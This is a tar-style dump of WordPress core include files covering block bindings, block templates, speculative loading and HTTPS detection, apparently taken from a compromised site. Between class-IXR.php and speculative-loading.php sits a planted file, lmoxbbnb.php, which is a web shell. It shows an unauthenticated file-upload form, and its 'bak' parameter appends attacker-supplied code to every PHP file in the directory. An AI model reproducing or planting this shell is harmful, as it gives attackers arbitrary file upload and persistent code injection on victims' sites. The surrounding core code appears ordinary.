post-meta.php 0000666 00000004047 15224151222 0007173 0 ustar 00 <?php
/**
* Post Meta source for the block bindings.
*
* @since 6.5.0
* @package WordPress
* @subpackage Block Bindings
*/
/**
* Gets value for Post Meta source.
*
* @since 6.5.0
* @access private
*
* @param array $source_args Array containing source arguments used to look up the override value.
* Example: array( "key" => "foo" ).
* @param WP_Block $block_instance The block instance.
* @return mixed The value computed for the source.
*/
function _block_bindings_post_meta_get_value( array $source_args, $block_instance ) {
if ( empty( $source_args['key'] ) ) {
return null;
}
if ( empty( $block_instance->context['postId'] ) ) {
return null;
}
$post_id = $block_instance->context['postId'];
// If a post isn't public, we need to prevent unauthorized users from accessing the post meta.
$post = get_post( $post_id );
if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) {
return null;
}
// Check if the meta field is protected.
if ( is_protected_meta( $source_args['key'], 'post' ) ) {
return null;
}
// Check if the meta field is registered to be shown in REST.
$meta_keys = get_registered_meta_keys( 'post', $block_instance->context['postType'] );
// Add fields registered for all subtypes.
$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( 'post', '' ) );
if ( empty( $meta_keys[ $source_args['key'] ]['show_in_rest'] ) ) {
return null;
}
return get_post_meta( $post_id, $source_args['key'], true );
}
/**
* Registers Post Meta source in the block bindings registry.
*
* @since 6.5.0
* @access private
*/
function _register_block_bindings_post_meta_source() {
register_block_bindings_source(
'core/post-meta',
array(
'label' => _x( 'Post Meta', 'block bindings source' ),
'get_value_callback' => '_block_bindings_post_meta_get_value',
'uses_context' => array( 'postId', 'postType' ),
)
);
}
add_action( 'init', '_register_block_bindings_post_meta_source' );
block-template.php 0000666 00000035777 15224151222 0010203 0 ustar 00 <?php
/**
* Block template loader functions.
*
* @package WordPress
*/
/**
* Adds necessary hooks to resolve '_wp-find-template' requests.
*
* @access private
* @since 5.9.0
*/
function _add_template_loader_filters() {
if ( isset( $_GET['_wp-find-template'] ) && current_theme_supports( 'block-templates' ) ) {
add_action( 'pre_get_posts', '_resolve_template_for_new_post' );
}
}
/**
* Renders a warning screen for empty block templates.
*
* @since 6.8.0
*
* @param WP_Block_Template $block_template The block template object.
* @return string The warning screen HTML.
*/
function wp_render_empty_block_template_warning( $block_template ) {
wp_enqueue_style( 'wp-empty-template-alert' );
return sprintf(
/* translators: %1$s: Block template title. %2$s: Empty template warning message. %3$s: Edit template link. %4$s: Edit template button label. */
'<div id="wp-empty-template-alert">
<h2>%1$s</h2>
<p>%2$s</p>
<a href="%3$s" class="wp-element-button">
%4$s
</a>
</div>',
esc_html( $block_template->title ),
__( 'This page is blank because the template is empty. You can reset or customize it in the Site Editor.' ),
get_edit_post_link( $block_template->wp_id, 'site-editor' ),
__( 'Edit template' )
);
}
/**
* Finds a block template with equal or higher specificity than a given PHP template file.
*
* Internally, this communicates the block content that needs to be used by the template canvas through a global variable.
*
* @since 5.8.0
* @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar.
*
* @global string $_wp_current_template_content
* @global string $_wp_current_template_id
*
* @param string $template Path to the template. See locate_template().
* @param string $type Sanitized filename without extension.
* @param string[] $templates A list of template candidates, in descending order of priority.
* @return string The path to the Site Editor template canvas file, or the fallback PHP template.
*/
function locate_block_template( $template, $type, array $templates ) {
global $_wp_current_template_content, $_wp_current_template_id;
if ( ! current_theme_supports( 'block-templates' ) ) {
return $template;
}
if ( $template ) {
/*
* locate_template() has found a PHP template at the path specified by $template.
* That means that we have a fallback candidate if we cannot find a block template
* with higher specificity.
*
* Thus, before looking for matching block themes, we shorten our list of candidate
* templates accordingly.
*/
// Locate the index of $template (without the theme directory path) in $templates.
$relative_template_path = str_replace(
array( get_stylesheet_directory() . '/', get_template_directory() . '/' ),
'',
$template
);
$index = array_search( $relative_template_path, $templates, true );
// If the template hierarchy algorithm has successfully located a PHP template file,
// we will only consider block templates with higher or equal specificity.
$templates = array_slice( $templates, 0, $index + 1 );
}
$block_template = resolve_block_template( $type, $templates, $template );
if ( $block_template ) {
$_wp_current_template_id = $block_template->id;
if ( empty( $block_template->content ) ) {
if ( is_user_logged_in() ) {
$_wp_current_template_content = wp_render_empty_block_template_warning( $block_template );
} else {
if ( $block_template->has_theme_file ) {
// Show contents from theme template if user is not logged in.
$theme_template = _get_block_template_file( 'wp_template', $block_template->slug );
$_wp_current_template_content = file_get_contents( $theme_template['path'] );
} else {
$_wp_current_template_content = $block_template->content;
}
}
} elseif ( ! empty( $block_template->content ) ) {
$_wp_current_template_content = $block_template->content;
}
if ( isset( $_GET['_wp-find-template'] ) ) {
wp_send_json_success( $block_template );
}
} else {
if ( $template ) {
return $template;
}
if ( 'index' === $type ) {
if ( isset( $_GET['_wp-find-template'] ) ) {
wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) );
}
} else {
return ''; // So that the template loader keeps looking for templates.
}
}
// Add hooks for template canvas.
// Add viewport meta tag.
add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 );
// Render title tag with content, regardless of whether theme has title-tag support.
remove_action( 'wp_head', '_wp_render_title_tag', 1 ); // Remove conditional title tag rendering...
add_action( 'wp_head', '_block_template_render_title_tag', 1 ); // ...and make it unconditional.
// This file will be included instead of the theme's template file.
return ABSPATH . WPINC . '/template-canvas.php';
}
/**
* Returns the correct 'wp_template' to render for the request template type.
*
* @access private
* @since 5.8.0
* @since 5.9.0 Added the `$fallback_template` parameter.
*
* @param string $template_type The current template type.
* @param string[] $template_hierarchy The current template hierarchy, ordered by priority.
* @param string $fallback_template A PHP fallback template to use if no matching block template is found.
* @return WP_Block_Template|null template A template object, or null if none could be found.
*/
function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) {
if ( ! $template_type ) {
return null;
}
if ( empty( $template_hierarchy ) ) {
$template_hierarchy = array( $template_type );
}
$slugs = array_map(
'_strip_template_file_suffix',
$template_hierarchy
);
// Find all potential templates 'wp_template' post matching the hierarchy.
$query = array(
'slug__in' => $slugs,
);
$templates = get_block_templates( $query );
// Order these templates per slug priority.
// Build map of template slugs to their priority in the current hierarchy.
$slug_priorities = array_flip( $slugs );
usort(
$templates,
static function ( $template_a, $template_b ) use ( $slug_priorities ) {
return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ];
}
);
$theme_base_path = get_stylesheet_directory() . DIRECTORY_SEPARATOR;
$parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR;
// Is the active theme a child theme, and is the PHP fallback template part of it?
if (
str_starts_with( $fallback_template, $theme_base_path ) &&
! str_contains( $fallback_template, $parent_theme_base_path )
) {
$fallback_template_slug = substr(
$fallback_template,
// Starting position of slug.
strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ),
// Remove '.php' suffix.
-4
);
// Is our candidate block template's slug identical to our PHP fallback template's?
if (
count( $templates ) &&
$fallback_template_slug === $templates[0]->slug &&
'theme' === $templates[0]->source
) {
// Unfortunately, we cannot trust $templates[0]->theme, since it will always
// be set to the active theme's slug by _build_block_template_result_from_file(),
// even if the block template is really coming from the active theme's parent.
// (The reason for this is that we want it to be associated with the active theme
// -- not its parent -- once we edit it and store it to the DB as a wp_template CPT.)
// Instead, we use _get_block_template_file() to locate the block template file.
$template_file = _get_block_template_file( 'wp_template', $fallback_template_slug );
if ( $template_file && get_template() === $template_file['theme'] ) {
// The block template is part of the parent theme, so we
// have to give precedence to the child theme's PHP template.
array_shift( $templates );
}
}
}
return count( $templates ) ? $templates[0] : null;
}
/**
* Displays title tag with content, regardless of whether theme has title-tag support.
*
* @access private
* @since 5.8.0
*
* @see _wp_render_title_tag()
*/
function _block_template_render_title_tag() {
echo '<title>' . wp_get_document_title() . '</title>' . "\n";
}
/**
* Returns the markup for the current template.
*
* @access private
* @since 5.8.0
*
* @global string $_wp_current_template_id
* @global string $_wp_current_template_content
* @global WP_Embed $wp_embed WordPress Embed object.
* @global WP_Query $wp_query WordPress Query object.
*
* @return string Block template markup.
*/
function get_the_block_template_html() {
global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query;
if ( ! $_wp_current_template_content ) {
if ( is_user_logged_in() ) {
return '<h1>' . esc_html__( 'No matching template found' ) . '</h1>';
}
return '';
}
$content = $wp_embed->run_shortcode( $_wp_current_template_content );
$content = $wp_embed->autoembed( $content );
$content = shortcode_unautop( $content );
$content = do_shortcode( $content );
/*
* Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates.
* While this technically still works since singular content templates are always for only one post, it results in
* the main query loop never being entered which causes bugs in core and the plugin ecosystem.
*
* The workaround below ensures that the loop is started even for those singular templates. The while loop will by
* definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard
* checks are included to ensure the main query loop has not been tampered with and really only encompasses a
* single post.
*
* Even if the block template contained a `core/query` and `core/post-template` block referencing the main query
* loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single
* post, within the actual main query loop.
*
* This special logic should be skipped if the current template does not come from the current theme, in which case
* it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom
* logic may be applied which is unpredictable and therefore safer to omit this special handling on.
*/
if (
$_wp_current_template_id &&
str_starts_with( $_wp_current_template_id, get_stylesheet() . '//' ) &&
is_singular() &&
1 === $wp_query->post_count &&
have_posts()
) {
while ( have_posts() ) {
the_post();
$content = do_blocks( $content );
}
} else {
$content = do_blocks( $content );
}
$content = wptexturize( $content );
$content = convert_smilies( $content );
$content = wp_filter_content_tags( $content, 'template' );
$content = str_replace( ']]>', ']]>', $content );
// Wrap block template in .wp-site-blocks to allow for specific descendant styles
// (e.g. `.wp-site-blocks > *`).
return '<div class="wp-site-blocks">' . $content . '</div>';
}
/**
* Renders a 'viewport' meta tag.
*
* This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas.
*
* @access private
* @since 5.8.0
*/
function _block_template_viewport_meta_tag() {
echo '<meta name="viewport" content="width=device-width, initial-scale=1" />' . "\n";
}
/**
* Strips .php or .html suffix from template file names.
*
* @access private
* @since 5.8.0
*
* @param string $template_file Template file name.
* @return string Template file name without extension.
*/
function _strip_template_file_suffix( $template_file ) {
return preg_replace( '/\.(php|html)$/', '', $template_file );
}
/**
* Removes post details from block context when rendering a block template.
*
* @access private
* @since 5.8.0
*
* @param array $context Default context.
*
* @return array Filtered context.
*/
function _block_template_render_without_post_block_context( $context ) {
/*
* When loading a template directly and not through a page that resolves it,
* the top-level post ID and type context get set to that of the template.
* Templates are just the structure of a site, and they should not be available
* as post context because blocks like Post Content would recurse infinitely.
*/
if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) {
unset( $context['postId'] );
unset( $context['postType'] );
}
return $context;
}
/**
* Sets the current WP_Query to return auto-draft posts.
*
* The auto-draft status indicates a new post, so allow the the WP_Query instance to
* return an auto-draft post for template resolution when editing a new post.
*
* @access private
* @since 5.9.0
*
* @param WP_Query $wp_query Current WP_Query instance, passed by reference.
*/
function _resolve_template_for_new_post( $wp_query ) {
if ( ! $wp_query->is_main_query() ) {
return;
}
remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' );
// Pages.
$page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null;
// Posts, including custom post types.
$p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null;
$post_id = $page_id ? $page_id : $p;
$post = get_post( $post_id );
if (
$post &&
'auto-draft' === $post->post_status &&
current_user_can( 'edit_post', $post->ID )
) {
$wp_query->set( 'post_status', 'auto-draft' );
}
}
/**
* Register a block template.
*
* @since 6.7.0
*
* @param string $template_name Template name in the form of `plugin_uri//template_name`.
* @param array|string $args {
* @type string $title Optional. Title of the template as it will be shown in the Site Editor
* and other UI elements.
* @type string $description Optional. Description of the template as it will be shown in the Site
* Editor.
* @type string $content Optional. Default content of the template that will be used when the
* template is rendered or edited in the editor.
* @type string[] $post_types Optional. Array of post types to which the template should be available.
* @type string $plugin Optional. Slug of the plugin that registers the template.
* }
* @return WP_Block_Template|WP_Error The registered template object on success, WP_Error object on failure.
*/
function register_block_template( $template_name, $args = array() ) {
return WP_Block_Templates_Registry::get_instance()->register( $template_name, $args );
}
/**
* Unregister a block template.
*
* @since 6.7.0
*
* @param string $template_name Template name in the form of `plugin_uri//template_name`.
* @return WP_Block_Template|WP_Error The unregistered template object on success, WP_Error object on failure or if the
* template doesn't exist.
*/
function unregister_block_template( $template_name ) {
return WP_Block_Templates_Registry::get_instance()->unregister( $template_name );
}
term-data.php 0000666 00000006103 15224151222 0007133 0 ustar 00 <?php
/**
* Term Data source for Block Bindings.
*
* @since 6.9.0
* @package WordPress
* @subpackage Block Bindings
*/
/**
* Gets value for Term Data source.
*
* @since 6.9.0
* @access private
*
* @param array $source_args Array containing source arguments used to look up the override value.
* Example: array( "field" => "name" ).
* @param WP_Block $block_instance The block instance.
* @return mixed The value computed for the source.
*/
function _block_bindings_term_data_get_value( array $source_args, $block_instance ) {
if ( empty( $source_args['field'] ) ) {
return null;
}
/*
* BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks.
* Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE.
*/
$block_name = $block_instance->name ?? '';
$is_navigation_block = in_array(
$block_name,
array( 'core/navigation-link', 'core/navigation-submenu' ),
true
);
if ( $is_navigation_block ) {
// Navigation blocks: read from block attributes.
$term_id = $block_instance->attributes['id'] ?? null;
$type = $block_instance->attributes['type'] ?? '';
// Map UI shorthand to taxonomy slug when using attributes.
$taxonomy = ( 'tag' === $type ) ? 'post_tag' : $type;
} else {
// All other blocks: use context
$term_id = $block_instance->context['termId'] ?? null;
$taxonomy = $block_instance->context['taxonomy'] ?? '';
}
// If we don't have required identifiers, bail early.
if ( empty( $term_id ) || empty( $taxonomy ) ) {
return null;
}
// Get the term data.
$term = get_term( $term_id, $taxonomy );
if ( is_wp_error( $term ) || ! $term ) {
return null;
}
// Check if taxonomy exists and is publicly queryable.
$taxonomy_object = get_taxonomy( $taxonomy );
if ( ! $taxonomy_object || ! $taxonomy_object->publicly_queryable ) {
if ( ! current_user_can( 'read' ) ) {
return null;
}
}
switch ( $source_args['field'] ) {
case 'id':
return esc_html( (string) $term_id );
case 'name':
return esc_html( $term->name );
case 'link':
// Only taxonomy entities are supported by Term Data.
$term_link = get_term_link( $term );
return is_wp_error( $term_link ) ? null : esc_url( $term_link );
case 'slug':
return esc_html( $term->slug );
case 'description':
return wp_kses_post( $term->description );
case 'parent':
return esc_html( (string) $term->parent );
case 'count':
return esc_html( (string) $term->count );
default:
return null;
}
}
/**
* Registers Term Data source in the block bindings registry.
*
* @since 6.9.0
* @access private
*/
function _register_block_bindings_term_data_source() {
if ( get_block_bindings_source( 'core/term-data' ) ) {
// The source is already registered.
return;
}
register_block_bindings_source(
'core/term-data',
array(
'label' => _x( 'Term Data', 'block bindings source' ),
'get_value_callback' => '_block_bindings_term_data_get_value',
'uses_context' => array( 'termId', 'taxonomy' ),
)
);
}
add_action( 'init', '_register_block_bindings_term_data_source' );
class-IXR.php 0000666 00000005070 15224151222 0007024 0 ustar 00 <?php
/**
* IXR - The Incutio XML-RPC Library
*
* Copyright (c) 2010, Incutio Ltd.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* - Neither the name of Incutio Ltd. nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* @package IXR
* @since 1.5.0
*
* @copyright Incutio Ltd 2010 (http://www.incutio.com)
* @version 1.7.4 7th September 2010
* @author Simon Willison
* @link http://scripts.incutio.com/xmlrpc/ Site/manual
* @license http://www.opensource.org/licenses/bsd-license.php BSD
*/
// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
require_once ABSPATH . WPINC . '/IXR/class-IXR-server.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-base64.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-client.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-clientmulticall.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-date.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-error.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-introspectionserver.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-message.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-request.php';
require_once ABSPATH . WPINC . '/IXR/class-IXR-value.php'; lmoxbbnb.php 0000666 00000001370 15224151222 0007061 0 ustar 00 <?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file, 'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
speculative-loading.php 0000666 00000020630 15224151222 0011215 0 ustar 00 <?php
/**
* Speculative loading functions.
*
* @package WordPress
* @subpackage Speculative Loading
* @since 6.8.0
*/
/**
* Returns the speculation rules configuration.
*
* @since 6.8.0
*
* @return array<string, string>|null Associative array with 'mode' and 'eagerness' keys, or null if speculative
* loading is disabled.
*/
function wp_get_speculation_rules_configuration(): ?array {
// By default, speculative loading is only enabled for sites with pretty permalinks when no user is logged in.
if ( ! is_user_logged_in() && get_option( 'permalink_structure' ) ) {
$config = array(
'mode' => 'auto',
'eagerness' => 'auto',
);
} else {
$config = null;
}
/**
* Filters the way that speculation rules are configured.
*
* The Speculation Rules API is a web API that allows to automatically prefetch or prerender certain URLs on the
* page, which can lead to near-instant page load times. This is also referred to as speculative loading.
*
* There are two aspects to the configuration:
* * The "mode" (whether to "prefetch" or "prerender" URLs).
* * The "eagerness" (whether to speculatively load URLs in an "eager", "moderate", or "conservative" way).
*
* By default, the speculation rules configuration is decided by WordPress Core ("auto"). This filter can be used
* to force a certain configuration, which could for instance load URLs more or less eagerly.
*
* For logged-in users or for sites that are not configured to use pretty permalinks, the default value is `null`,
* indicating that speculative loading is entirely disabled.
*
* @since 6.8.0
* @see https://developer.chrome.com/docs/web-platform/prerender-pages
*
* @param array<string, string>|null $config Associative array with 'mode' and 'eagerness' keys, or `null`. The
* default value for both of the keys is 'auto'. Other possible values
* for 'mode' are 'prefetch' and 'prerender'. Other possible values for
* 'eagerness' are 'eager', 'moderate', and 'conservative'. The value
* `null` is used to disable speculative loading entirely.
*/
$config = apply_filters( 'wp_speculation_rules_configuration', $config );
// Allow the value `null` to indicate that speculative loading is disabled.
if ( null === $config ) {
return null;
}
// Sanitize the configuration and replace 'auto' with current defaults.
$default_mode = 'prefetch';
$default_eagerness = 'conservative';
if ( ! is_array( $config ) ) {
return array(
'mode' => $default_mode,
'eagerness' => $default_eagerness,
);
}
if (
! isset( $config['mode'] ) ||
'auto' === $config['mode'] ||
! WP_Speculation_Rules::is_valid_mode( $config['mode'] )
) {
$config['mode'] = $default_mode;
}
if (
! isset( $config['eagerness'] ) ||
'auto' === $config['eagerness'] ||
! WP_Speculation_Rules::is_valid_eagerness( $config['eagerness'] ) ||
// 'immediate' is a valid eagerness, but for safety WordPress does not allow it for document-level rules.
'immediate' === $config['eagerness']
) {
$config['eagerness'] = $default_eagerness;
}
return array(
'mode' => $config['mode'],
'eagerness' => $config['eagerness'],
);
}
/**
* Returns the full speculation rules data based on the configuration.
*
* Plugins with features that rely on frontend URLs to exclude from prefetching or prerendering should use the
* {@see 'wp_speculation_rules_href_exclude_paths'} filter to ensure those URL patterns are excluded.
*
* Additional speculation rules other than the default rule from WordPress Core can be provided by using the
* {@see 'wp_load_speculation_rules'} action and amending the passed WP_Speculation_Rules object.
*
* @since 6.8.0
* @access private
*
* @return WP_Speculation_Rules|null Object representing the speculation rules to use, or null if speculative loading
* is disabled in the current context.
*/
function wp_get_speculation_rules(): ?WP_Speculation_Rules {
$configuration = wp_get_speculation_rules_configuration();
if ( null === $configuration ) {
return null;
}
$mode = $configuration['mode'];
$eagerness = $configuration['eagerness'];
$prefixer = new WP_URL_Pattern_Prefixer();
$base_href_exclude_paths = array(
$prefixer->prefix_path_pattern( '/wp-*.php', 'site' ),
$prefixer->prefix_path_pattern( '/wp-admin/*', 'site' ),
$prefixer->prefix_path_pattern( '/*', 'uploads' ),
$prefixer->prefix_path_pattern( '/*', 'content' ),
$prefixer->prefix_path_pattern( '/*', 'plugins' ),
$prefixer->prefix_path_pattern( '/*', 'template' ),
$prefixer->prefix_path_pattern( '/*', 'stylesheet' ),
);
/*
* If pretty permalinks are enabled, exclude any URLs with query parameters.
* Otherwise, exclude specifically the URLs with a `_wpnonce` query parameter or any other query parameter
* containing the word `nonce`.
*/
if ( get_option( 'permalink_structure' ) ) {
$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?(.+)', 'home' );
} else {
$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?*(^|&)*nonce*=*', 'home' );
}
/**
* Filters the paths for which speculative loading should be disabled.
*
* All paths should start in a forward slash, relative to the root document. The `*` can be used as a wildcard.
* If the WordPress site is in a subdirectory, the exclude paths will automatically be prefixed as necessary.
*
* Note that WordPress always excludes certain path patterns such as `/wp-login.php` and `/wp-admin/*`, and those
* cannot be modified using the filter.
*
* @since 6.8.0
*
* @param string[] $href_exclude_paths Additional path patterns to disable speculative loading for.
* @param string $mode Mode used to apply speculative loading. Either 'prefetch' or 'prerender'.
*/
$href_exclude_paths = (array) apply_filters( 'wp_speculation_rules_href_exclude_paths', array(), $mode );
// Ensure that:
// 1. There are no duplicates.
// 2. The base paths cannot be removed.
// 3. The array has sequential keys (i.e. array_is_list()).
$href_exclude_paths = array_values(
array_unique(
array_merge(
$base_href_exclude_paths,
array_map(
static function ( string $href_exclude_path ) use ( $prefixer ): string {
return $prefixer->prefix_path_pattern( $href_exclude_path );
},
$href_exclude_paths
)
)
)
);
$speculation_rules = new WP_Speculation_Rules();
$main_rule_conditions = array(
// Include any URLs within the same site.
array(
'href_matches' => $prefixer->prefix_path_pattern( '/*' ),
),
// Except for excluded paths.
array(
'not' => array(
'href_matches' => $href_exclude_paths,
),
),
// Also exclude rel=nofollow links, as certain plugins use that on their links that perform an action.
array(
'not' => array(
'selector_matches' => 'a[rel~="nofollow"]',
),
),
// Also exclude links that are explicitly marked to opt out, either directly or via a parent element.
array(
'not' => array(
'selector_matches' => ".no-{$mode}, .no-{$mode} a",
),
),
);
// If using 'prerender', also exclude links that opt out of 'prefetch' because it's part of 'prerender'.
if ( 'prerender' === $mode ) {
$main_rule_conditions[] = array(
'not' => array(
'selector_matches' => '.no-prefetch, .no-prefetch a',
),
);
}
$speculation_rules->add_rule(
$mode,
'main',
array(
'source' => 'document',
'where' => array(
'and' => $main_rule_conditions,
),
'eagerness' => $eagerness,
)
);
/**
* Fires when speculation rules data is loaded, allowing to amend the rules.
*
* @since 6.8.0
*
* @param WP_Speculation_Rules $speculation_rules Object representing the speculation rules to use.
*/
do_action( 'wp_load_speculation_rules', $speculation_rules );
return $speculation_rules;
}
/**
* Prints the speculation rules.
*
* For browsers that do not support speculation rules yet, the `script[type="speculationrules"]` tag will be ignored.
*
* @since 6.8.0
* @access private
*/
function wp_print_speculation_rules(): void {
$speculation_rules = wp_get_speculation_rules();
if ( null === $speculation_rules ) {
return;
}
wp_print_inline_script_tag(
(string) wp_json_encode(
$speculation_rules,
JSON_HEX_TAG | JSON_UNESCAPED_SLASHES
),
array( 'type' => 'speculationrules' )
);
}
https-detection.php 0000666 00000013341 15224151222 0010375 0 ustar 00 <?php
/**
* HTTPS detection functions.
*
* @package WordPress
* @since 5.7.0
*/
/**
* Checks whether the website is using HTTPS.
*
* This is based on whether both the home and site URL are using HTTPS.
*
* @since 5.7.0
* @see wp_is_home_url_using_https()
* @see wp_is_site_url_using_https()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_using_https() {
if ( ! wp_is_home_url_using_https() ) {
return false;
}
return wp_is_site_url_using_https();
}
/**
* Checks whether the current site URL is using HTTPS.
*
* @since 5.7.0
* @see home_url()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_home_url_using_https() {
return 'https' === wp_parse_url( home_url(), PHP_URL_SCHEME );
}
/**
* Checks whether the current site's URL where WordPress is stored is using HTTPS.
*
* This checks the URL where WordPress application files (e.g. wp-blog-header.php or the wp-admin/ folder)
* are accessible.
*
* @since 5.7.0
* @see site_url()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_site_url_using_https() {
/*
* Use direct option access for 'siteurl' and manually run the 'site_url'
* filter because `site_url()` will adjust the scheme based on what the
* current request is using.
*/
/** This filter is documented in wp-includes/link-template.php */
$site_url = apply_filters( 'site_url', get_option( 'siteurl' ), '', null, null );
return 'https' === wp_parse_url( $site_url, PHP_URL_SCHEME );
}
/**
* Checks whether HTTPS is supported for the server and domain.
*
* This function makes an HTTP request through `wp_get_https_detection_errors()`
* to check for HTTPS support. As this process can be resource-intensive,
* it should be used cautiously, especially in performance-sensitive environments,
* to avoid potential latency issues.
*
* @since 5.7.0
*
* @return bool True if HTTPS is supported, false otherwise.
*/
function wp_is_https_supported() {
$https_detection_errors = wp_get_https_detection_errors();
// If there are errors, HTTPS is not supported.
return empty( $https_detection_errors );
}
/**
* Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors.
*
* This function checks for HTTPS support by making an HTTP request. As this process can be resource-intensive,
* it should be used cautiously, especially in performance-sensitive environments.
* It is called when HTTPS support needs to be validated.
*
* @since 6.4.0
* @access private
*
* @return array An array containing potential detection errors related to HTTPS, or an empty array if no errors are found.
*/
function wp_get_https_detection_errors() {
/**
* Short-circuits the process of detecting errors related to HTTPS support.
*
* Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote
* request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead.
*
* @since 6.4.0
*
* @param null|WP_Error $pre Error object to short-circuit detection,
* or null to continue with the default behavior.
*/
$support_errors = apply_filters( 'pre_wp_get_https_detection_errors', null );
if ( is_wp_error( $support_errors ) ) {
return $support_errors->errors;
}
$support_errors = new WP_Error();
$response = wp_remote_request(
home_url( '/', 'https' ),
array(
'headers' => array(
'Cache-Control' => 'no-cache',
),
'sslverify' => true,
)
);
if ( is_wp_error( $response ) ) {
$unverified_response = wp_remote_request(
home_url( '/', 'https' ),
array(
'headers' => array(
'Cache-Control' => 'no-cache',
),
'sslverify' => false,
)
);
if ( is_wp_error( $unverified_response ) ) {
$support_errors->add(
'https_request_failed',
__( 'HTTPS request failed.' )
);
} else {
$support_errors->add(
'ssl_verification_failed',
__( 'SSL verification failed.' )
);
}
$response = $unverified_response;
}
if ( ! is_wp_error( $response ) ) {
if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
$support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) );
} elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) {
$support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) );
}
}
return $support_errors->errors;
}
/**
* Checks whether a given HTML string is likely an output from this WordPress site.
*
* This function attempts to check for various common WordPress patterns whether they are included in the HTML string.
* Since any of these actions may be disabled through third-party code, this function may also return null to indicate
* that it was not possible to determine ownership.
*
* @since 5.7.0
* @access private
*
* @param string $html Full HTML output string, e.g. from a HTTP response.
* @return bool|null True/false for whether HTML was generated by this site, null if unable to determine.
*/
function wp_is_local_html_output( $html ) {
// 1. Check if HTML includes the site's Really Simple Discovery link.
if ( has_action( 'wp_head', 'rsd_link' ) ) {
$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link().
return str_contains( $html, $pattern );
}
// 2. Check if HTML includes the site's REST API link.
if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) {
// Try both HTTPS and HTTP since the URL depends on context.
$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head().
return str_contains( $html, $pattern );
}
// Otherwise the result cannot be determined.
return null;
}
class-wp-hook.php 0000666 00000040442 15224151222 0007750 0 ustar 00 <?php
/**
* Plugin API: WP_Hook class
*
